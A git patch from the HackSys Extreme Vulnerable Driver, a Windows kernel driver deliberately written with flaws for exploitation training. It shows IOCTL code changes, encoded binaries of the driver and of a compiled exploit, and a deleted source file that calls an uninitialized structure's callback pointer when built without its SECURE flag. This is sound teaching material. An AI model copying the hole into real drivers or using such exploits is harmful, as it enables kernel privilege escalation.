From e786a545f8fb13d9bbee8606e08ccd0bf07f6754 Mon Sep 17 00:00:00 2001 From: hacksysteam Date: Fri, 10 Jun 2016 18:42:47 +0530 Subject: [PATCH] Refactored Exploit & Closing #9 --- .../Secure/HackSysExtremeVulnerableDriver.pdb | Bin 248832 -> 248832 bytes .../Secure/HackSysExtremeVulnerableDriver.sys | Bin 13824 -> 13824 bytes .../HackSysExtremeVulnerableDriver.pdb | Bin 257024 -> 257024 bytes .../HackSysExtremeVulnerableDriver.sys | Bin 14336 -> 14336 bytes .../Source/HackSysExtremeVulnerableDriver.h | 6 +- Driver/Source/UninitializedVariable.c | 153 --------- Exploit/Complied/HackSysEVDExploit.exe | Bin 26624 -> 30208 bytes Exploit/Complied/HackSysEVDExploit.pdb | Bin 347136 -> 363520 bytes Exploit/Source/ArbitraryOverwrite.c | 60 ++-- Exploit/Source/ArbitraryOverwrite.h | 2 +- Exploit/Source/Common.c | 157 +++++---- Exploit/Source/Common.h | 225 ++++++++++--- Exploit/Source/HackSysEVDExploit.c | 136 ++++---- Exploit/Source/HackSysEVDExploit.h | 15 +- Exploit/Source/HackSysEVDExploit.vcxproj | 6 +- .../Source/HackSysEVDExploit.vcxproj.filters | 10 +- Exploit/Source/IntegerOverflow.c | 54 +-- Exploit/Source/IntegerOverflow.h | 2 +- Exploit/Source/NullPointerDereference.c | 32 +- Exploit/Source/NullPointerDereference.h | 2 +- Exploit/Source/Payloads.c | 60 ++++ Exploit/Source/Payloads.h | 1 + Exploit/Source/PoolOverflow.c | 106 +++--- Exploit/Source/PoolOverflow.h | 6 +- Exploit/Source/StackOverflow.c | 52 +-- Exploit/Source/StackOverflow.h | 2 +- Exploit/Source/StackOverflowGS.c | 98 +++--- Exploit/Source/StackOverflowGS.h | 2 +- Exploit/Source/TypeConfusion.c | 44 +-- Exploit/Source/TypeConfusion.h | 2 +- ...Variable.c => UninitializedHeapVariable.c} | 36 +- ...Variable.h => UninitializedHeapVariable.h} | 14 +- Exploit/Source/UninitializedStackVariable.c | 311 ++++++++++++++++++ .../Source/UninitializedStackVariable.h | 24 +- Exploit/Source/UseAfterFree.c | 72 ++-- Exploit/Source/UseAfterFree.h | 8 +- 36 files changed, 1050 insertions(+), 648 deletions(-) delete mode 100644 Driver/Source/UninitializedVariable.c rename Exploit/Source/{UninitializedVariable.c => UninitializedHeapVariable.c} (74%) rename Exploit/Source/{UninitializedVariable.h => UninitializedHeapVariable.h} (85%) create mode 100644 Exploit/Source/UninitializedStackVariable.c rename Driver/Source/UninitializedVariable.h => Exploit/Source/UninitializedStackVariable.h (78%) diff --git a/Driver/Compiled/Secure/HackSysExtremeVulnerableDriver.pdb b/Driver/Compiled/Secure/HackSysExtremeVulnerableDriver.pdb index 99d3b48a709b1306725c90da994e8a47301f6cc3..a94343af01336c4d78d87cd6b39382d4d1c8a969 100644 GIT binary patch delta 653 zcmZ|NK}eHf9LMqJd9^W3+@vuktvPfalp&rxh(cSAFtw$Knu3TZnB`GKChj2_N(Va( zeMg5%#7hu}3tp(CmM9DvouZ)9i{PbO7p;SR-`@AIi-(ub@BP2O=Y5~|m zJ-+Ynh6kk(Vr2T~&GX&)*!zpw(-q%`J6XRc3eXsBl2Z%>9{5v$c$>){)TQT3+au<%at3QyfjXArCSJi;=)fIhbIQOl?jxI2 z`K3tMh=gTbi)=S0$K_u~^2t3R`iI$v5b7z};pX7WydZn+`IbF5JFm&>Jyz!p`P+SK z?c1WxC-U}PtCJ@`w>zJUI$z0WT_XAaVMm-ivP&mLrC;Qioz{(hliTdhc~M993bA_I z>Nv?xyHiOvU&h?Dm;9r{$^m@KGgnx0COBrpBR4F5vON&FxDMT-{z delta 653 zcmZ|NJxBs!90u_BJxw$!mCTGRC3P?)ZE-20#E>Zafaq(82qcJ*HX#EqL>dAM3{M)O zAX+zo_*jO zGm{KI?Chg7pW1FN#_F)Di4xWUZLk^Ip&K^9HrNP#&?%Sz25DFUGf)Y4U>V$lD#$}8Jb^BF4O?I?-sKXyT-4^J z9YScDeyL(BgM}6AYse}c4t$v{WTQOamFHq-A2}VAI!DNbacS*oN#_FjuwUxr zkT>PdO-ZMK{LxEde-A6-WKJ$Um6V>5w|b--y&<>DozIdEGek%-AayjzYPq9D7GFl( zbS?6|U&zkT5w*H_mk8|6ui4r!XVIn%6Nw?PAOWG|xGrjD=ou-6H2)NF=+Q Th%#Ivs)+sjlL_WU#pA#)>dcB2 diff --git a/Driver/Compiled/Secure/HackSysExtremeVulnerableDriver.sys b/Driver/Compiled/Secure/HackSysExtremeVulnerableDriver.sys index 3f90c6b07355ea058f35519395222acd080beafb..25e85d3be83c41b64fe1e97c9c465de7edd54cbc 100644 GIT binary patch delta 405 zcmZq3X~>!Ifcf_BsELn#nU)7`HewXw1aT+3bEOJIXWe!9xwq1F&;Qcr9TNM!Ht*p& zE+VF )1azx^5m0|S4{4j|cmNS9e*@=SSo$umIS?m5wn48bq#5B&ch85aKH!Ifcam#!NkYDOw;@~8!-xTg1D32xl#qT{n^}il*hqg`ueL4tRyXQnRG6cV{Kk)y5WLWr%k6-@( zf9XE?qP)1IJ|j@p0xZi9mG%7ylog-Ms30!+AEftO6iDy={SdwGKY+5&CmSk=d!7f$ z7J+5gLuKFAsDSf6H_rCyOOg`(Q~m5GOUikSXy1GW3C1EGQ!csQX3H)vD*eL z$N?4X_y!ad-pv6P{Jan1lY^iC{}1l|@ZvF$-<&>KMNx9Io#HMb{%(T>23rkI8QeGc OV!&x=xS8GLCnEsRAjCod diff --git a/Driver/Compiled/Vulnerable/HackSysExtremeVulnerableDriver.pdb b/Driver/Compiled/Vulnerable/HackSysExtremeVulnerableDriver.pdb index f621ff60219af841e5ea3f27dbc628f4bd4c539b..00286e708ddab267c34ea5ef65593b13fe20746d 100644 GIT binary patch delta 648 zcmZ|NPe>GD9LDkYo&95)wG%C(wdta(Z0iyomO$~cn-YRrc5p=@B3j*wyo#6hr4hVH z2N!n`4<71dmvo_FQNak8me_8B&_T&g9>inR!M@YXVJ{tq&%o}DQ~)04$eFr?R4xpjfNm3%TXD|?HjNT;UnTCcL@-w&T% z>`(5ejl;I$Y1g_(R`V;d!(1~9+NDqt?7*8yR=4m5_F^k0F^qSSHR?XL;22)ValDF8 zF^Dg)318x6oWlSryn?T>UW$}@Lug>IjE!ib7vG`}*U^ug$l;WQaoj@=sVYWK-0F$T z?mKeO$~=*O{JFvdA>K`L4!+VV*{^f)QQniM-1&w(w>u^B=CIS*B}d&(xu)}tyglM{ z_Q|Ic&i>zPI>+S3A(8v{uoHWMTRN*L{j%qS&PM0tMYrP{Wu`luULr5ub2>rtxZAl_ z(`hIF=y&=tcW%FA->CKIx%^ns?O!2$JN%fL(EMLhRwSVvjmWC$Gqg7O+3d9WWDeNu VEMyGL%ov`v|NdWAXx{U4`Y*wehOz(v delta 648 zcmZ|NPbh<790%~{*=C`!EhE~n*u)GwNNF6bX^|~E`BzBIYDsbtm%Vz`E=u{cmr^cs z!9iADq!o!c%texjv=gTHwK?iSBV)n??zKlBqf8BDsIByMHn?$uJ8Wr{lEhZd_s=e_qNqUle4Q{KdK&3NcB zp03(b(&W;b?I~P>1r?NVR#*vb&;lD^DRjaz=z?bGhQ+WOVlBtcVuXFL00y7|j=>^0 z4)fs*)WTV)hdj)o#KkQjWHdMnntbqs64$omdyyBbfVzZsrHqlNo zFhal8VWFFl*Z|H!2)B-`*5SfO*+Cwa=X>&;b&intyi(@`xmxaAWOS~Pk9|_-7CGH7 z?f;O`Ng->xNcitzZ)|~Fde10*v3ZBI5%Ci;FL%_)?4ayG`N)eNsZ)sDD|d_;ol4{v zx74qd=jYE6VAaU}c;N?Tkbuz$=6R PuiW_e{}N4e%2e!1+&3m{m zi!droo*)k*m&(gao?&2M*!?Dkksz{@n-h zMB_K0pz!Vpu;2@*;GWO_{|9$}cyVL0j-njnnay5`+eG-M8LT!qU~tvomBD`l5ks5J I{AM2+0g^ky*8l(j delta 401 zcmZoDXegL)gZWju!Nl9XO!<2@YcWc3g1D32xl#pI>1q{Ky4bi+Ra@GAB{2T)<~>}O zMHnAUo*)k*m&(gao@HQQ*!?DkksKe+qDi|doM73DU2DQ*+tpKh?m;Gn@ZgVzQOhN6bH KoB7Q?G6Dc|ZNu*X diff --git a/Driver/Source/HackSysExtremeVulnerableDriver.h b/Driver/Source/HackSysExtremeVulnerableDriver.h index 26247cf..348cb67 100644 --- a/Driver/Source/HackSysExtremeVulnerableDriver.h +++ b/Driver/Source/HackSysExtremeVulnerableDriver.h @@ -64,9 +64,9 @@ Abstract: #define HACKSYS_EVD_IOCTL_CREATE_FAKE_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS) #define HACKSYS_EVD_IOCTL_TYPE_CONFUSION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS) #define HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80a, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80b, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80c, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C, METHOD_NEITHER, FILE_ANY_ACCESS) #define BANNER \ (" \n" \ diff --git a/Driver/Source/UninitializedVariable.c b/Driver/Source/UninitializedVariable.c deleted file mode 100644 index 5290ab7..0000000 --- a/Driver/Source/UninitializedVariable.c +++ /dev/null @@ -1,153 +0,0 @@ -/*++ - - ## ## ######## ## ## ######## - ## ## ## ## ## ## ## - ## ## ## ## ## ## ## - ######### ###### ## ## ## ## - ## ## ## ## ## ## ## - ## ## ## ## ## ## ## - ## ## ######## ### ######## - - HackSys Extreme Vulnerable Driver - -Author : Ashfaq Ansari -Contact: ashfaq[at]payatu[dot]com -Website: http://www.payatu.com/ - -Copyright (C) 2011-2016 Payatu Technologies Pvt. Ltd. All rights reserved. - -This program is free software: you can redistribute it and/or modify it under the terms of -the GNU General Public License as published by the Free Software Foundation, either version -3 of the License, or (at your option) any later version. - -This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; -without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. -See the GNU General Public License for more details. - -You should have received a copy of the GNU General Public License along with this program. -If not, see . - -THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT, -INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF -THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -See the file 'LICENSE' for complete copying permission. - -Module Name: - UninitializedVariable.c - -Abstract: - This module implements the functions to demonstrate - use of Uninitialized Variable vulnerability. - ---*/ - -#include "UninitializedVariable.h" - -#ifdef ALLOC_PRAGMA - #pragma alloc_text(PAGE, TriggerUninitializedVariable) - #pragma alloc_text(PAGE, UninitializedVariableIoctlHandler) - #pragma alloc_text(PAGE, UninitializedVariableObjectCallback) -#endif // ALLOC_PRAGMA - -#pragma auto_inline(off) - -/// -/// Uninitialized Variable Object Callback -/// -VOID UninitializedVariableObjectCallback() { - PAGED_CODE(); - - DbgPrint("[+] Uninitialized Variable Object Callback called\n"); -} - -/// -/// Trigger the Uninitialized Variable Vulnerability -/// -/// The pointer to user mode buffer -/// NTSTATUS -NTSTATUS TriggerUninitializedVariable(IN PVOID UserBuffer) { - ULONG UserValue = 0; - ULONG MagicValue = 0xBAD0B0B0; - NTSTATUS Status = STATUS_SUCCESS; - -#ifdef SECURE - // Secure Note: This is secure because the developer is properly initializing - // UNINITIALIZED_VARIABLE to NULL and checks for NULL pointer before calling - // the callback - UNINITIALIZED_VARIABLE UninitializedVariable = {0}; -#else - // Vulnerability Note: This is a vanilla Uninitialized Variable vulnerability - // because the developer is not initializing 'UNINITIALIZED_VARIABLE' structure - // before calling the callback when 'MagicValue' does not match 'UserValue' - UNINITIALIZED_VARIABLE UninitializedVariable; -#endif - - PAGED_CODE(); - - __try { - // Verify if the buffer resides in user mode - ProbeForRead(UserBuffer, - sizeof(UNINITIALIZED_VARIABLE), - (ULONG)__alignof(UNINITIALIZED_VARIABLE)); - - // Get the value from user mode - UserValue = *(PULONG)UserBuffer; - - DbgPrint("[+] UserValue: 0x%p\n", UserValue); - DbgPrint("[+] UninitializedVariable Address: 0x%p\n", &UninitializedVariable); - - // Validate the magic value - if (UserValue == MagicValue) { - UninitializedVariable.Value = UserValue; - UninitializedVariable.Callback = &UninitializedVariableObjectCallback; - } - - DbgPrint("[+] UninitializedVariable.Value: 0x%p\n", UninitializedVariable.Value); - DbgPrint("[+] UninitializedVariable.Callback: 0x%p\n", UninitializedVariable.Callback); - -#ifndef SECURE - DbgPrint("[+] Triggering Uninitialized Variable Vulnerability\n"); -#endif - - // Call the callback function - if (UninitializedVariable.Callback) { - UninitializedVariable.Callback(); - } - } - __except (EXCEPTION_EXECUTE_HANDLER) { - Status = GetExceptionCode(); - DbgPrint("[-] Exception Code: 0x%X\n", Status); - } - - return Status; -} - -/// -/// Uninitialized Variable Ioctl Handler -/// -/// The pointer to IRP -/// The pointer to IO_STACK_LOCATION structure -/// NTSTATUS -NTSTATUS UninitializedVariableIoctlHandler(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp) { - PVOID UserBuffer = NULL; - NTSTATUS Status = STATUS_UNSUCCESSFUL; - - UNREFERENCED_PARAMETER(Irp); - PAGED_CODE(); - - UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer; - - if (UserBuffer) { - Status = TriggerUninitializedVariable(UserBuffer); - } - - return Status; -} - -#pragma auto_inline() diff --git a/Exploit/Complied/HackSysEVDExploit.exe b/Exploit/Complied/HackSysEVDExploit.exe index 4a787c3db21f0cca551120e7d409e244ec72d5bd..e3ddee9194345b76c8980af5e7d1f1fa9462f3dc 100644 GIT binary patch literal 30208 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 